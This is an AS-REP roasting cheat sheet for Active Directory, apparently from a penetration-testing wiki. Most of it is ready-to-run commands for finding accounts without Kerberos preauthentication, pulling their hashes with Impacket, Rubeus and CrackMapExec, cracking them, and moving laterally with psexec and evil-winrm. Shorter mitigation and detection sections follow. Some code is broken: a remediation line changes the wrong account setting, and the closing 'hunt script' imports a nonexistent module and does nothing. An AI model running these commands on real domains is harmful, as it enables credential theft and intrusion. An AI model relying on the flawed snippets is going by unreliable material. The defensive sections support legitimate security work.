🧠 Description

ASRep Roasting is a post-compromise attack technique that targets users with the "Do not require Kerberos preauthentication" setting enabled. Unlike Kerberoasting which requires a valid TGS ticket, ASRep Roasting can be performed without any prior credentials by requesting AS-REP tickets for users.

Why ASRep Roasting Works:
  • No Pre-Auth Required: Attacker requests auth for user, DC replies with encrypted session key
  • Weak Password Policy: Admins enable this for legacy compatibility
  • Offline Cracking: Encrypted blob can be cracked offline
  • No Credentials Needed: Can be done anonymously (in some configs)

Attack Flow:

  1. Enumerate users with "Do not require Kerberos preauthentication" enabled
  2. Request AS-REP for target users without providing session key
  3. DC returns encrypted blob (using user's password hash as key)
  4. Extract encrypted blob and crack offline using hashcat/john
  5. Use cracked password for further access

🔍 Enumeration

Find ASRep-Roastable Users (PowerView):

# Find users with DONT_REQ_PREAUTH
Import-Module .\PowerView.ps1
Get-DomainUser -PreauthNotRequired -Properties distinguishedname

# Filter for specific patterns
Get-DomainUser -PreauthNotRequired | Select-Object samaccountname, description

# Check all users and filter
Get-DomainUser -UACFilter DONT_REQ_PREAUTH

Find with LDAP Query:

# Using PowerShell LDAP
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth

# Or direct LDAP query
$search = New-Object DirectoryServices.DirectorySearcher
$search.Filter = "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))"
$search.PropertiesToLoad.Add("samaccountname")
$search.FindAll()

Check from Linux:

# Using Impacket's GetNPUsers
python3 GetNPUsers.py domain.com/ -usersfile users.txt -format hashcat -outputfile hashes.txt

# Or without user list (try common usernames)
python3 GetNPUsers.py domain.com/ -request -format hashcat

# Check for AS-REP enabled users anonymously
python3 GetNPUsers.py domain.com/ -dc-ip 10.10.10.10 -request

💣 Exploitation

Technique 1: Impacket (Linux):

# Request AS-REP tickets
python3 GetNPUsers.py corp.com/ -dc-ip 10.10.10.100 -request

# Specify user
python3 GetNPUsers.py corp.com/ -dc-ip 10.10.10.100 -user username -request

# Save in hashcat format
python3 GetNPUsers.py corp.com/ -dc-ip 10.10.10.100 -format hashcat -outfile hashes.txt

# Save in john format
python3 GetNPUsers.py corp.com/ -dc-ip 10.10.10.100 -format john -outfile hashes.txt

Technique 2: Rubeus:

# Roast all AS-REP roastable users
.\Rubeus.exe asreproast /format:hashcat

# Output to file
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt

# Kerberos-specific format
.\Rubeus.exe asreproast /format:krb /outfile:tickets.txt

# Roast specific user
.\Rubeus.exe asreproast /user:targetuser /domain:corp.com /dc:dc01.corp.com

Technique 3: PowerView:

# Get AS-REP tickets
Import-Module .\PowerView.ps1

# Request tickets for all preauth not required users
Get-DomainUser -PreauthNotRequired | ForEach-Object {
    $user = $_.samaccountname
    $domain = $_.mangedDomain.name
    Get-ASREPHash -UserName $user -Domain $domain
}

# Request for specific user
Get-ASREPHash -UserName "service_account" -Domain "corp.com" -OutputFile asrep.txt

Technique 4: CrackMapExec:

# AS-REP roast module
crackmapexec smb 10.10.10.100 -u anonymous -M asreproast

# With valid credentials
crackmapexec smb 10.10.10.100 -u username -p password -M asreproast

🔓 Cracking Hashes

Hashcat Mode:

# AS-REP Roast uses mode 18200
hashcat -m 18200 -a 0 hashes.txt wordlist.txt

# Or with rules
hashcat -m 18200 -a 0 hashes.txt wordlist.txt -r rules/best64.rule

# Show example hash format
$krb5asrep$23$user@domain.com:hash...

John the Ripper:

# Use krb5asrep format
john --wordlist=wordlist.txt hashes.txt --format=krb5asrep

# Show format
john --format=krb5asrep --show hashes.txt

Common Password Patterns:

  • Password1, Welcome123, Changeme123
  • Season + Year (Summer2023!)
  • Company + Year
  • Username + 123
  • Keyboard patterns (qwerty, asdf)

🚀 Lateral Movement

Use Cracked Password:

# Pass the hash or password
# Using SMB
psexec.py domain.com/username@target.corp.com password
smbexec.py domain.com/username@target.corp.com password

# Using WinRM
evil-winrm -i target.corp.com -u username -p password

# Using CrackMapExec
crackmapexec smb 10.10.10.100 -u username -H hash -x "whoami"

# Using CrackMapExec with password
crackmapexec smb 10.10.10.100 -u username -p password -x "hostname"

Kerberoast from Cracked Account:

# If the cracked account has SPN, you can kerberoast it
.\Rubeus.exe kerberoast /user:crackeduser /outfile:service_hashes.txt

# Or from Linux
python3 GetUserSPNs.py domain.com/username:password -request

💥 Impact

Potential Damage:
  • Account Takeover: Gain access to user account
  • Privilege Escalation: If account has elevated permissions
  • Data Access: Access to file shares, email, etc.
  • Persistence: Create new local admins or modify ACLs
  • Lateral Movement: Use account to move through network

Why This is Often Missed:

  • No credentials needed to start
  • Legacy compatibility enabled for some accounts
  • No alerts in many SIEMs for AS-REQ without preauth
  • Domain controllers allow anonymous AS-REP requests by default

🛡️ Mitigation

✅ Primary Mitigation:
  • Disable DONT_REQ_PREAUTH: Enable Kerberos preauthentication for all users
  • Strong Passwords: 14+ characters, complex, no common patterns
  • Audit Enabled Accounts: Find and remediate accounts with this flag
  • Monitor AS-REQ: Alert on AS-REQ without preauth from same source
  • Disable Anonymous Enumeration: Restrict anonymous LDAP access

PowerShell Remediation:

# Find all users with DONT_REQ_PREAUTH
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} | Set-ADUser -PasswordNotRequired:$false

# Or disable preauthentication
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} | ForEach-Object {
    Set-ADAccountOption -Identity $_.DistinguishedName -DoesNotRequirePreAuth $false
}

# Audit script - find and report
Get-ADUser -Filter * -Properties DoesNotRequirePreAuth | 
    Where-Object { $_.DoesNotRequirePreAuth -eq $true } |
    Select-Object SamAccountName, DistinguishedName | 
    Export-Csv -Path "asrep_users.csv"

Audit and Monitoring:

# Windows Event ID 4768 - TGT Requested
# Check for AS-REQ with rc4_encryption_type (no preauth indicator)
# Look for Event ID 4768 where EncryptionType is 0x17 (ARCFOUR-HMAC-MD5)
# This indicates preauth was not used

# Splunk/Elastic query
index=windows EventCode=4768 
| eval PreauthRequired=if(EncryptionType=23, "No", "Yes")
| stats count by src_user, src_ip, PreauthRequired
| where PreauthRequired="No"

🔍 Detection

SIGMA Rule:

title: AS-REP Roasting Detection
id: asrep-roasting
status: experimental
description: Detects AS-REP roasting attempt
logsource:
  product: windows
  service: authentication
detection:
  selection:
    EventID: 4768
    TicketOptions: '0x40810010'
    EncryptionType: 23
  condition: selection
level: high

PowerShell Hunting:

# Find AS-REP roastable users in domain
Get-ADUser -Filter * -Properties useraccountcontrol | 
    Where-Object { $_.useraccountcontrol -band 4194304 } | 
    Select-Object Name, SamAccountName, Description |
    Format-Table -AutoSize

# Alternative LDAP query
$LDAP = New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=domain,DC=com")
$Search = New-Object System.DirectoryServices.DirectorySearcher($LDAP)
$Search.Filter = "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))"
$Search.PropertiesToLoad.Add("samaccountname") | Out-Null
$Search.FindAll() | ForEach-Object { $_.Properties.samaccountname }

🛠️ Tools

  • Rubeus: Comprehensive AS-REP roasting and detection
  • Impacket (GetNPUsers): Linux-based AS-REP extraction
  • PowerView: PowerShell-based enumeration
  • CrackMapExec: Network exploitation with AS-REP module
  • hashcat: GPU-accelerated hash cracking
  • John the Ripper: Open-source hash cracking

Automated Hunt Script:

# Python script for AS-REP roasting
import requests
from requestsKerberos import HTTPNegotiateAuth

target = "dc.corp.com"
domain = "corp.com"
users = open("users.txt").read().splitlines()

for user in users:
    resp = requests.get(f"http://{target}/adfs/ls", auth=HTTPNegotiateAuth())
    if resp.status_code == 401:
        # Check headers for AS-REP hash
        pass
Back to Active Directory